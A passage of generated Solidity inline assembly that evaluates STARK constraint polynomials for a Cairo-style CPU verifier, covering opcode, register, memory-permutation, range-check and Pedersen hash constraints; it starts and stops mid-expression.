(cpu__decode__fp_update_regular_0 * column21_row8 + cpu__decode__opcode_rc__bit_13 * column19_row9 + cpu__decode__opcode_rc__bit_12 * (column21_row0 + 2)). let val := addmod( /*column21_row24*/ mload(0x2fa0), sub( PRIME, addmod( addmod( mulmod( /*intermediate_value/cpu/decode/fp_update_regular_0*/ mload(0x3540), /*column21_row8*/ mload(0x2e00), PRIME), mulmod( /*intermediate_value/cpu/decode/opcode_rc/bit_13*/ mload(0x3520), /*column19_row9*/ mload(0x2940), PRIME), PRIME), mulmod( /*intermediate_value/cpu/decode/opcode_rc/bit_12*/ mload(0x3500), addmod(/*column21_row0*/ mload(0x2d00), 2, PRIME), PRIME), PRIME)), PRIME) // Numerator: point - trace_generator^(16 * (trace_length / 16 - 1)). // val *= numerators[1]. val := mulmod(val, mload(0x40c0), PRIME) // Denominator: point^(trace_length / 16) - 1. // val *= denominator_invs[2]. val := mulmod(val, mload(0x3ba0), PRIME) // res += val * coefficients[17]. res := addmod(res, mulmod(val, /*coefficients[17]*/ mload(0x620), PRIME), PRIME) } { // Constraint expression for cpu/opcodes/call/push_fp: cpu__decode__opcode_rc__bit_12 * (column19_row9 - column21_row8). let val := mulmod( /*intermediate_value/cpu/decode/opcode_rc/bit_12*/ mload(0x3500), addmod(/*column19_row9*/ mload(0x2940), sub(PRIME, /*column21_row8*/ mload(0x2e00)), PRIME), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 16) - 1. // val *= denominator_invs[2]. val := mulmod(val, mload(0x3ba0), PRIME) // res += val * coefficients[18]. res := addmod(res, mulmod(val, /*coefficients[18]*/ mload(0x640), PRIME), PRIME) } { // Constraint expression for cpu/opcodes/call/push_pc: cpu__decode__opcode_rc__bit_12 * (column19_row5 - (column19_row0 + cpu__decode__opcode_rc__bit_2 + 1)). let val := mulmod( /*intermediate_value/cpu/decode/opcode_rc/bit_12*/ mload(0x3500), addmod( /*column19_row5*/ mload(0x28c0), sub( PRIME, addmod( addmod( /*column19_row0*/ mload(0x2820), /*intermediate_value/cpu/decode/opcode_rc/bit_2*/ mload(0x33a0), PRIME), 1, PRIME)), PRIME), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 16) - 1. // val *= denominator_invs[2]. val := mulmod(val, mload(0x3ba0), PRIME) // res += val * coefficients[19]. res := addmod(res, mulmod(val, /*coefficients[19]*/ mload(0x660), PRIME), PRIME) } { // Constraint expression for cpu/opcodes/call/off0: cpu__decode__opcode_rc__bit_12 * (column0_row0 - half_offset_size). let val := mulmod( /*intermediate_value/cpu/decode/opcode_rc/bit_12*/ mload(0x3500), addmod(/*column0_row0*/ mload(0x1a60), sub(PRIME, /*half_offset_size*/ mload(0xc0)), PRIME), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 16) - 1. // val *= denominator_invs[2]. val := mulmod(val, mload(0x3ba0), PRIME) // res += val * coefficients[20]. res := addmod(res, mulmod(val, /*coefficients[20]*/ mload(0x680), PRIME), PRIME) } { // Constraint expression for cpu/opcodes/call/off1: cpu__decode__opcode_rc__bit_12 * (column0_row8 - (half_offset_size + 1)). let val := mulmod( /*intermediate_value/cpu/decode/opcode_rc/bit_12*/ mload(0x3500), addmod( /*column0_row8*/ mload(0x1ac0), sub(PRIME, addmod(/*half_offset_size*/ mload(0xc0), 1, PRIME)), PRIME), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 16) - 1. // val *= denominator_invs[2]. val := mulmod(val, mload(0x3ba0), PRIME) // res += val * coefficients[21]. res := addmod(res, mulmod(val, /*coefficients[21]*/ mload(0x6a0), PRIME), PRIME) } { // Constraint expression for cpu/opcodes/call/flags: cpu__decode__opcode_rc__bit_12 * (cpu__decode__opcode_rc__bit_12 + cpu__decode__opcode_rc__bit_12 + 1 + 1 - (cpu__decode__opcode_rc__bit_0 + cpu__decode__opcode_rc__bit_1 + 4)). let val := mulmod( /*intermediate_value/cpu/decode/opcode_rc/bit_12*/ mload(0x3500), addmod( addmod( addmod( addmod( /*intermediate_value/cpu/decode/opcode_rc/bit_12*/ mload(0x3500), /*intermediate_value/cpu/decode/opcode_rc/bit_12*/ mload(0x3500), PRIME), 1, PRIME), 1, PRIME), sub( PRIME, addmod( addmod( /*intermediate_value/cpu/decode/opcode_rc/bit_0*/ mload(0x3380), /*intermediate_value/cpu/decode/opcode_rc/bit_1*/ mload(0x3560), PRIME), 4, PRIME)), PRIME), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 16) - 1. // val *= denominator_invs[2]. val := mulmod(val, mload(0x3ba0), PRIME) // res += val * coefficients[22]. res := addmod(res, mulmod(val, /*coefficients[22]*/ mload(0x6c0), PRIME), PRIME) } { // Constraint expression for cpu/opcodes/ret/off0: cpu__decode__opcode_rc__bit_13 * (column0_row0 + 2 - half_offset_size). let val := mulmod( /*intermediate_value/cpu/decode/opcode_rc/bit_13*/ mload(0x3520), addmod( addmod(/*column0_row0*/ mload(0x1a60), 2, PRIME), sub(PRIME, /*half_offset_size*/ mload(0xc0)), PRIME), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 16) - 1. // val *= denominator_invs[2]. val := mulmod(val, mload(0x3ba0), PRIME) // res += val * coefficients[23]. res := addmod(res, mulmod(val, /*coefficients[23]*/ mload(0x6e0), PRIME), PRIME) } { // Constraint expression for cpu/opcodes/ret/off2: cpu__decode__opcode_rc__bit_13 * (column0_row4 + 1 - half_offset_size). let val := mulmod( /*intermediate_value/cpu/decode/opcode_rc/bit_13*/ mload(0x3520), addmod( addmod(/*column0_row4*/ mload(0x1aa0), 1, PRIME), sub(PRIME, /*half_offset_size*/ mload(0xc0)), PRIME), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 16) - 1. // val *= denominator_invs[2]. val := mulmod(val, mload(0x3ba0), PRIME) // res += val * coefficients[24]. res := addmod(res, mulmod(val, /*coefficients[24]*/ mload(0x700), PRIME), PRIME) } { // Constraint expression for cpu/opcodes/ret/flags: cpu__decode__opcode_rc__bit_13 * (cpu__decode__opcode_rc__bit_7 + cpu__decode__opcode_rc__bit_0 + cpu__decode__opcode_rc__bit_3 + cpu__decode__flag_res_op1_0 - 4). let val := mulmod( /*intermediate_value/cpu/decode/opcode_rc/bit_13*/ mload(0x3520), addmod( addmod( addmod( addmod( /*intermediate_value/cpu/decode/opcode_rc/bit_7*/ mload(0x34a0), /*intermediate_value/cpu/decode/opcode_rc/bit_0*/ mload(0x3380), PRIME), /*intermediate_value/cpu/decode/opcode_rc/bit_3*/ mload(0x33e0), PRIME), /*intermediate_value/cpu/decode/flag_res_op1_0*/ mload(0x3480), PRIME), sub(PRIME, 4), PRIME), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 16) - 1. // val *= denominator_invs[2]. val := mulmod(val, mload(0x3ba0), PRIME) // res += val * coefficients[25]. res := addmod(res, mulmod(val, /*coefficients[25]*/ mload(0x720), PRIME), PRIME) } { // Constraint expression for cpu/opcodes/assert_eq/assert_eq: cpu__decode__opcode_rc__bit_14 * (column19_row9 - column21_row12). let val := mulmod( /*intermediate_value/cpu/decode/opcode_rc/bit_14*/ mload(0x35e0), addmod( /*column19_row9*/ mload(0x2940), sub(PRIME, /*column21_row12*/ mload(0x2e80)), PRIME), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 16) - 1. // val *= denominator_invs[2]. val := mulmod(val, mload(0x3ba0), PRIME) // res += val * coefficients[26]. res := addmod(res, mulmod(val, /*coefficients[26]*/ mload(0x740), PRIME), PRIME) } { // Constraint expression for initial_ap: column21_row0 - initial_ap. let val := addmod(/*column21_row0*/ mload(0x2d00), sub(PRIME, /*initial_ap*/ mload(0xe0)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point - 1. // val *= denominator_invs[3]. val := mulmod(val, mload(0x3bc0), PRIME) // res += val * coefficients[27]. res := addmod(res, mulmod(val, /*coefficients[27]*/ mload(0x760), PRIME), PRIME) } { // Constraint expression for initial_fp: column21_row8 - initial_ap. let val := addmod(/*column21_row8*/ mload(0x2e00), sub(PRIME, /*initial_ap*/ mload(0xe0)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point - 1. // val *= denominator_invs[3]. val := mulmod(val, mload(0x3bc0), PRIME) // res += val * coefficients[28]. res := addmod(res, mulmod(val, /*coefficients[28]*/ mload(0x780), PRIME), PRIME) } { // Constraint expression for initial_pc: column19_row0 - initial_pc. let val := addmod(/*column19_row0*/ mload(0x2820), sub(PRIME, /*initial_pc*/ mload(0x100)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point - 1. // val *= denominator_invs[3]. val := mulmod(val, mload(0x3bc0), PRIME) // res += val * coefficients[29]. res := addmod(res, mulmod(val, /*coefficients[29]*/ mload(0x7a0), PRIME), PRIME) } { // Constraint expression for final_ap: column21_row0 - final_ap. let val := addmod(/*column21_row0*/ mload(0x2d00), sub(PRIME, /*final_ap*/ mload(0x120)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point - trace_generator^(16 * (trace_length / 16 - 1)). // val *= denominator_invs[4]. val := mulmod(val, mload(0x3be0), PRIME) // res += val * coefficients[30]. res := addmod(res, mulmod(val, /*coefficients[30]*/ mload(0x7c0), PRIME), PRIME) } { // Constraint expression for final_fp: column21_row8 - initial_ap. let val := addmod(/*column21_row8*/ mload(0x2e00), sub(PRIME, /*initial_ap*/ mload(0xe0)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point - trace_generator^(16 * (trace_length / 16 - 1)). // val *= denominator_invs[4]. val := mulmod(val, mload(0x3be0), PRIME) // res += val * coefficients[31]. res := addmod(res, mulmod(val, /*coefficients[31]*/ mload(0x7e0), PRIME), PRIME) } { // Constraint expression for final_pc: column19_row0 - final_pc. let val := addmod(/*column19_row0*/ mload(0x2820), sub(PRIME, /*final_pc*/ mload(0x140)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point - trace_generator^(16 * (trace_length / 16 - 1)). // val *= denominator_invs[4]. val := mulmod(val, mload(0x3be0), PRIME) // res += val * coefficients[32]. res := addmod(res, mulmod(val, /*coefficients[32]*/ mload(0x800), PRIME), PRIME) } { // Constraint expression for memory/multi_column_perm/perm/init0: (memory/multi_column_perm/perm/interaction_elm - (column20_row0 + memory/multi_column_perm/hash_interaction_elm0 * column20_row1)) * column24_inter1_row0 + column19_row0 + memory/multi_column_perm/hash_interaction_elm0 * column19_row1 - memory/multi_column_perm/perm/interaction_elm. let val := addmod( addmod( addmod( mulmod( addmod( /*memory/multi_column_perm/perm/interaction_elm*/ mload(0x160), sub( PRIME, addmod( /*column20_row0*/ mload(0x2c80), mulmod( /*memory/multi_column_perm/hash_interaction_elm0*/ mload(0x180), /*column20_row1*/ mload(0x2ca0), PRIME), PRIME)), PRIME), /*column24_inter1_row0*/ mload(0x3340), PRIME), /*column19_row0*/ mload(0x2820), PRIME), mulmod( /*memory/multi_column_perm/hash_interaction_elm0*/ mload(0x180), /*column19_row1*/ mload(0x2840), PRIME), PRIME), sub(PRIME, /*memory/multi_column_perm/perm/interaction_elm*/ mload(0x160)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point - 1. // val *= denominator_invs[3]. val := mulmod(val, mload(0x3bc0), PRIME) // res += val * coefficients[33]. res := addmod(res, mulmod(val, /*coefficients[33]*/ mload(0x820), PRIME), PRIME) } { // Constraint expression for memory/multi_column_perm/perm/step0: (memory/multi_column_perm/perm/interaction_elm - (column20_row2 + memory/multi_column_perm/hash_interaction_elm0 * column20_row3)) * column24_inter1_row2 - (memory/multi_column_perm/perm/interaction_elm - (column19_row2 + memory/multi_column_perm/hash_interaction_elm0 * column19_row3)) * column24_inter1_row0. let val := addmod( mulmod( addmod( /*memory/multi_column_perm/perm/interaction_elm*/ mload(0x160), sub( PRIME, addmod( /*column20_row2*/ mload(0x2cc0), mulmod( /*memory/multi_column_perm/hash_interaction_elm0*/ mload(0x180), /*column20_row3*/ mload(0x2ce0), PRIME), PRIME)), PRIME), /*column24_inter1_row2*/ mload(0x3360), PRIME), sub( PRIME, mulmod( addmod( /*memory/multi_column_perm/perm/interaction_elm*/ mload(0x160), sub( PRIME, addmod( /*column19_row2*/ mload(0x2860), mulmod( /*memory/multi_column_perm/hash_interaction_elm0*/ mload(0x180), /*column19_row3*/ mload(0x2880), PRIME), PRIME)), PRIME), /*column24_inter1_row0*/ mload(0x3340), PRIME)), PRIME) // Numerator: point - trace_generator^(2 * (trace_length / 2 - 1)). // val *= numerators[2]. val := mulmod(val, mload(0x40e0), PRIME) // Denominator: point^(trace_length / 2) - 1. // val *= denominator_invs[5]. val := mulmod(val, mload(0x3c00), PRIME) // res += val * coefficients[34]. res := addmod(res, mulmod(val, /*coefficients[34]*/ mload(0x840), PRIME), PRIME) } { // Constraint expression for memory/multi_column_perm/perm/last: column24_inter1_row0 - memory/multi_column_perm/perm/public_memory_prod. let val := addmod( /*column24_inter1_row0*/ mload(0x3340), sub(PRIME, /*memory/multi_column_perm/perm/public_memory_prod*/ mload(0x1a0)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point - trace_generator^(2 * (trace_length / 2 - 1)). // val *= denominator_invs[6]. val := mulmod(val, mload(0x3c20), PRIME) // res += val * coefficients[35]. res := addmod(res, mulmod(val, /*coefficients[35]*/ mload(0x860), PRIME), PRIME) } { // Constraint expression for memory/diff_is_bit: memory__address_diff_0 * memory__address_diff_0 - memory__address_diff_0. let val := addmod( mulmod( /*intermediate_value/memory/address_diff_0*/ mload(0x3600), /*intermediate_value/memory/address_diff_0*/ mload(0x3600), PRIME), sub(PRIME, /*intermediate_value/memory/address_diff_0*/ mload(0x3600)), PRIME) // Numerator: point - trace_generator^(2 * (trace_length / 2 - 1)). // val *= numerators[2]. val := mulmod(val, mload(0x40e0), PRIME) // Denominator: point^(trace_length / 2) - 1. // val *= denominator_invs[5]. val := mulmod(val, mload(0x3c00), PRIME) // res += val * coefficients[36]. res := addmod(res, mulmod(val, /*coefficients[36]*/ mload(0x880), PRIME), PRIME) } { // Constraint expression for memory/is_func: (memory__address_diff_0 - 1) * (column20_row1 - column20_row3). let val := mulmod( addmod(/*intermediate_value/memory/address_diff_0*/ mload(0x3600), sub(PRIME, 1), PRIME), addmod(/*column20_row1*/ mload(0x2ca0), sub(PRIME, /*column20_row3*/ mload(0x2ce0)), PRIME), PRIME) // Numerator: point - trace_generator^(2 * (trace_length / 2 - 1)). // val *= numerators[2]. val := mulmod(val, mload(0x40e0), PRIME) // Denominator: point^(trace_length / 2) - 1. // val *= denominator_invs[5]. val := mulmod(val, mload(0x3c00), PRIME) // res += val * coefficients[37]. res := addmod(res, mulmod(val, /*coefficients[37]*/ mload(0x8a0), PRIME), PRIME) } { // Constraint expression for memory/initial_addr: column20_row0 - 1. let val := addmod(/*column20_row0*/ mload(0x2c80), sub(PRIME, 1), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point - 1. // val *= denominator_invs[3]. val := mulmod(val, mload(0x3bc0), PRIME) // res += val * coefficients[38]. res := addmod(res, mulmod(val, /*coefficients[38]*/ mload(0x8c0), PRIME), PRIME) } { // Constraint expression for public_memory_addr_zero: column19_row2. let val := /*column19_row2*/ mload(0x2860) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 8) - 1. // val *= denominator_invs[7]. val := mulmod(val, mload(0x3c40), PRIME) // res += val * coefficients[39]. res := addmod(res, mulmod(val, /*coefficients[39]*/ mload(0x8e0), PRIME), PRIME) } { // Constraint expression for public_memory_value_zero: column19_row3. let val := /*column19_row3*/ mload(0x2880) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 8) - 1. // val *= denominator_invs[7]. val := mulmod(val, mload(0x3c40), PRIME) // res += val * coefficients[40]. res := addmod(res, mulmod(val, /*coefficients[40]*/ mload(0x900), PRIME), PRIME) } { // Constraint expression for rc16/perm/init0: (rc16/perm/interaction_elm - column2_row0) * column23_inter1_row0 + column0_row0 - rc16/perm/interaction_elm. let val := addmod( addmod( mulmod( addmod( /*rc16/perm/interaction_elm*/ mload(0x1c0), sub(PRIME, /*column2_row0*/ mload(0x1de0)), PRIME), /*column23_inter1_row0*/ mload(0x3300), PRIME), /*column0_row0*/ mload(0x1a60), PRIME), sub(PRIME, /*rc16/perm/interaction_elm*/ mload(0x1c0)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point - 1. // val *= denominator_invs[3]. val := mulmod(val, mload(0x3bc0), PRIME) // res += val * coefficients[41]. res := addmod(res, mulmod(val, /*coefficients[41]*/ mload(0x920), PRIME), PRIME) } { // Constraint expression for rc16/perm/step0: (rc16/perm/interaction_elm - column2_row1) * column23_inter1_row1 - (rc16/perm/interaction_elm - column0_row1) * column23_inter1_row0. let val := addmod( mulmod( addmod( /*rc16/perm/interaction_elm*/ mload(0x1c0), sub(PRIME, /*column2_row1*/ mload(0x1e00)), PRIME), /*column23_inter1_row1*/ mload(0x3320), PRIME), sub( PRIME, mulmod( addmod( /*rc16/perm/interaction_elm*/ mload(0x1c0), sub(PRIME, /*column0_row1*/ mload(0x1a80)), PRIME), /*column23_inter1_row0*/ mload(0x3300), PRIME)), PRIME) // Numerator: point - trace_generator^(trace_length - 1). // val *= numerators[3]. val := mulmod(val, mload(0x4100), PRIME) // Denominator: point^trace_length - 1. // val *= denominator_invs[0]. val := mulmod(val, mload(0x3b60), PRIME) // res += val * coefficients[42]. res := addmod(res, mulmod(val, /*coefficients[42]*/ mload(0x940), PRIME), PRIME) } { // Constraint expression for rc16/perm/last: column23_inter1_row0 - rc16/perm/public_memory_prod. let val := addmod( /*column23_inter1_row0*/ mload(0x3300), sub(PRIME, /*rc16/perm/public_memory_prod*/ mload(0x1e0)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point - trace_generator^(trace_length - 1). // val *= denominator_invs[8]. val := mulmod(val, mload(0x3c60), PRIME) // res += val * coefficients[43]. res := addmod(res, mulmod(val, /*coefficients[43]*/ mload(0x960), PRIME), PRIME) } { // Constraint expression for rc16/diff_is_bit: rc16__diff_0 * rc16__diff_0 - rc16__diff_0. let val := addmod( mulmod( /*intermediate_value/rc16/diff_0*/ mload(0x3620), /*intermediate_value/rc16/diff_0*/ mload(0x3620), PRIME), sub(PRIME, /*intermediate_value/rc16/diff_0*/ mload(0x3620)), PRIME) // Numerator: point - trace_generator^(trace_length - 1). // val *= numerators[3]. val := mulmod(val, mload(0x4100), PRIME) // Denominator: point^trace_length - 1. // val *= denominator_invs[0]. val := mulmod(val, mload(0x3b60), PRIME) // res += val * coefficients[44]. res := addmod(res, mulmod(val, /*coefficients[44]*/ mload(0x980), PRIME), PRIME) } { // Constraint expression for rc16/minimum: column2_row0 - rc_min. let val := addmod(/*column2_row0*/ mload(0x1de0), sub(PRIME, /*rc_min*/ mload(0x200)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point - 1. // val *= denominator_invs[3]. val := mulmod(val, mload(0x3bc0), PRIME) // res += val * coefficients[45]. res := addmod(res, mulmod(val, /*coefficients[45]*/ mload(0x9a0), PRIME), PRIME) } { // Constraint expression for rc16/maximum: column2_row0 - rc_max. let val := addmod(/*column2_row0*/ mload(0x1de0), sub(PRIME, /*rc_max*/ mload(0x220)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point - trace_generator^(trace_length - 1). // val *= denominator_invs[8]. val := mulmod(val, mload(0x3c60), PRIME) // res += val * coefficients[46]. res := addmod(res, mulmod(val, /*coefficients[46]*/ mload(0x9c0), PRIME), PRIME) } { // Constraint expression for pedersen/hash0/ec_subset_sum/bit_unpacking/last_one_is_zero: column9_row255 * (column6_row0 - (column6_row1 + column6_row1)). let val := mulmod( /*column9_row255*/ mload(0x21e0), addmod( /*column6_row0*/ mload(0x1f80), sub( PRIME, addmod(/*column6_row1*/ mload(0x1fa0), /*column6_row1*/ mload(0x1fa0), PRIME)), PRIME), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 256) - 1. // val *= denominator_invs[9]. val := mulmod(val, mload(0x3c80), PRIME) // res += val * coefficients[47]. res := addmod(res, mulmod(val, /*coefficients[47]*/ mload(0x9e0), PRIME), PRIME) } { // Constraint expression for pedersen/hash0/ec_subset_sum/bit_unpacking/zeroes_between_ones0: column9_row255 * (column6_row1 - 3138550867693340381917894711603833208051177722232017256448 * column6_row192). let val := mulmod( /*column9_row255*/ mload(0x21e0), addmod( /*column6_row1*/ mload(0x1fa0), sub( PRIME, mulmod( 3138550867693340381917894711603833208051177722232017256448, /*column6_row192*/ mload(0x1fc0), PRIME)), PRIME), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 256) - 1. // val *= denominator_invs[9]. val := mulmod(val, mload(0x3c80), PRIME) // res += val * coefficients[48]. res := addmod(res, mulmod(val, /*coefficients[48]*/ mload(0xa00), PRIME), PRIME) } { // Constraint expression for pedersen/hash0/ec_subset_sum/bit_unpacking/cumulative_bit192: column9_row255 - column5_row255 * (column6_row192 - (column6_row193 + column6_row193)). let val := addmod( /*column9_row255*/ mload(0x21e0), sub( PRIME, mulmod( /*column5_row255*/ mload(0x1f60), addmod( /*column6_row192*/ mload(0x1fc0), sub( PRIME, addmod(/*column6_row193*/ mload(0x1fe0), /*column6_row193*/ mload(0x1fe0), PRIME)), PRIME), PRIME)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 256) - 1. // val *= denominator_invs[9]. val := mulmod(val, mload(0x3c80), PRIME) // res += val * coefficients[49]. res := addmod(res, mulmod(val, /*coefficients[49]*/ mload(0xa20), PRIME), PRIME) } { // Constraint expression for pedersen/hash0/ec_subset_sum/bit_unpacking/zeroes_between_ones192: column5_row255 * (column6_row193 - 8 * column6_row196). let val := mulmod( /*column5_row255*/ mload(0x1f60), addmod( /*column6_row193*/ mload(0x1fe0), sub(PRIME, mulmod(8, /*column6_row196*/ mload(0x2000), PRIME)), PRIME), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 256) - 1. // val *= denominator_invs[9]. val := mulmod(val, mload(0x3c80), PRIME) // res += val * coefficients[50]. res := addmod(res, mulmod(val, /*coefficients[50]*/ mload(0xa40), PRIME), PRIME) } { // Constraint expression for pedersen/hash0/ec_subset_sum/bit_unpacking/cumulative_bit196: column5_row255 - (column6_row251 - (column6_row252 + column6_row252)) * (column6_row196 - (column6_row197 + column6_row197)). let val := addmod( /*column5_row255*/ mload(0x1f60), sub( PRIME, mulmod( addmod( /*column6_row251*/ mload(0x2040), sub( PRIME, addmod(/*column6_row252*/ mload(0x2060), /*column6_row252*/ mload(0x2060), PRIME)), PRIME), addmod( /*column6_row196*/ mload(0x2000), sub( PRIME, addmod(/*column6_row197*/ mload(0x2020), /*column6_row197*/ mload(0x2020), PRIME)), PRIME), PRIME)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 256) - 1. // val *= denominator_invs[9]. val := mulmod(val, mload(0x3c80), PRIME) // res += val * coefficients[51]. res := addmod(res, mulmod(val, /*coefficients[51]*/ mload(0xa60), PRIME), PRIME) } { // Constraint expression for pedersen/hash0/ec_subset_sum/bit_unpacking/zeroes_between_ones196: (column6_row251 - (column6_row252 + column6_row252)) * (column6_row197 - 18014398509481984 * column6_row251). let val := mulmod( addmod( /*column6_row251*/ mload(0x2040), sub( PRIME, addmod(/*column6_row252*/ mload(0x2060), /*column6_row252*/ mload(0x2060), PRIME)), PRIME), addmod( /*column6_row197*/ mload(0x2020), sub(PRIME, mulmod(18014398509481984, /*column6_row251*/ mload(0x2040), PRIME)), PRIME), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 256) - 1. // val *= denominator_invs[9]. val := mulmod(val, mload(0x3c80), PRIME) // res += val * coefficients[52]. res := addmod(res, mulmod(val, /*coefficients[52]*/ mload(0xa80), PRIME), PRIME) } { // Constraint expression for pedersen/hash0/ec_subset_sum/booleanity_test: pedersen__hash0__ec_subset_sum__bit_0 * (pedersen__hash0__ec_subset_sum__bit_0 - 1). let val := mulmod( /*intermediate_value/pedersen/hash0/ec_subset_sum/bit_0*/ mload(0x3640), addmod( /*intermediate_value/pedersen/hash0/ec_subset_sum/bit_0*/ mload(0x3640), sub(PRIME, 1), PRIME), PRIME) // Numerator: point^(trace_length / 256) - trace_generator^(255 * trace_length / 256). // val *= numerators[4]. val := mulmod(val, mload(0x4120), PRIME) // Denominator: point^trace_length - 1. // val *= denominator_invs[0]. val := mulmod(val, mload(0x3b60), PRIME) // res += val * coefficients[53]. res := addmod(res, mulmod(val, /*coefficients[53]*/ mload(0xaa0), PRIME), PRIME) } { // Constraint expression for pedersen/hash0/ec_subset_sum/bit_extraction_end: column6_row0. let val := /*column6_row0*/ mload(0x1f80) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 256) - trace_generator^(63 * trace_length / 64). // val *= denominator_invs[10]. val := mulmod(val, mload(0x3ca0), PRIME) // res += val * coefficients[54]. res := addmod(res, mulmod(val, /*coefficients[54]*/ mload(0xac0), PRIME), PRIME) } { // Constraint expression for pedersen/hash0/ec_subset_sum/zeros_tail: column6_row0. let val := /*column6_row0*/ mload(0x1f80) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 256) - trace_generator^(255 * trace_length / 256). // val *= denominator_invs[11]. val := mulmod(val, mload(0x3cc0), PRIME) // res += val * coefficients[55]. res := addmod(res, mulmod(val, /*coefficients[55]*/ mload(0xae0), PRIME), PRIME) } { // Constraint expression for pedersen/hash0/ec_subset_sum/add_points/slope: pedersen__hash0__ec_subset_sum__bit_0 * (column4_row0 - pedersen__points__y) - column5_row0 * (column3_row0 - pedersen__points__x). let val := addmod( mulmod( /*intermediate_value/pedersen/hash0/ec_subset_sum/bit_0*/ mload(0x3640), addmod( /*column4_row0*/ mload(0x1ec0), sub(PRIME, /*periodic_column/pedersen/points/y*/ mload(0x20)), PRIME), PRIME), sub( PRIME, mulmod( /*column5_row0*/ mload(0x1f40), addmod( /*column3_row0*/ mload(0x1e20), sub(PRIME, /*periodic_column/pedersen/points/x*/ mload(0x0)), PRIME), PRIME)), PRIME) // Numerator: point^(trace_length / 256) - trace_generator^(255 * trace_length / 256). // val *= numerators[4]. val := mulmod(val, mload(0x4120), PRIME) // Denominator: point^trace_length - 1. // val *= denominator_invs[0]. val := mulmod(val, mload(0x3b60), PRIME) // res += val * coefficients[56]. res := addmod(res, mulmod(val, /*coefficients[56]*/ mload(0xb00), PRIME), PRIME) } { // Constraint expression for pedersen/hash0/ec_subset_sum/add_points/x: column5_row0 * column5_row0 - pedersen__hash0__ec_subset_sum__bit_0 * (column3_row0 + pedersen__points__x + column3_row1). let val := addmod( mulmod(/*column5_row0*/ mload(0x1f40), /*column5_row0*/ mload(0x1f40), PRIME), sub( PRIME, mulmod( /*intermediate_value/pedersen/hash0/ec_subset_sum/bit_0*/ mload(0x3640), addmod( addmod( /*column3_row0*/ mload(0x1e20), /*periodic_column/pedersen/points/x*/ mload(0x0), PRIME), /*column3_row1*/ mload(0x1e40), PRIME), PRIME)), PRIME) // Numerator: point^(trace_length / 256) - trace_generator^(255 * trace_length / 256). // val *= numerators[4]. val := mulmod(val, mload(0x4120), PRIME) // Denominator: point^trace_length - 1. // val *= denominator_invs[0]. val := mulmod(val, mload(0x3b60), PRIME) // res += val * coefficients[57]. res := addmod(res, mulmod(val, /*coefficients[57]*/ mload(0xb20), PRIME), PRIME) } { // Constraint expression for pedersen/hash0/ec_subset_sum/add_points/y: pedersen__hash0__ec_subset_sum__bit_0 * (column4_row0 + column4_row1) - column5_row0 * (column3_row0 - column3_row1). let val := addmod( mulmod( /*intermediate_value/pedersen/hash0/ec_subset_sum/bit_0*/ mload(0x3640), addmod(/*column4_row0*/ mload(0x1ec0), /*column4_row1*/ mload(0x1ee0), PRIME), PRIME), sub( PRIME, mulmod( /*column5_row0*/ mload(0x1f40), addmod(/*column3_row0*/ mload(0x1e20), sub(PRIME, /*column3_row1*/ mload(0x1e40)), PRIME), PRIME)), PRIME) // Numerator: point^(trace_length / 256) - trace_generator^(255 * trace_length / 256). // val *= numerators[4]. val := mulmod(val, mload(0x4120), PRIME) // Denominator: point^trace_length - 1. // val *= denominator_invs[0]. val := mulmod(val, mload(0x3b60), PRIME) // res += val * coefficients[58]. res := addmod(res, mulmod(val, /*coefficients[58]*/ mload(0xb40), PRIME), PRIME) } { // Constraint expression for pedersen/hash0/ec_subset_sum/copy_point/x: pedersen__hash0__ec_subset_sum__bit_neg_0 * (column3_row1 - column3_row0). let val := mulmod( /*intermediate_value/pedersen/hash0/ec_subset_sum/bit_neg_0*/ mload(0x3660), 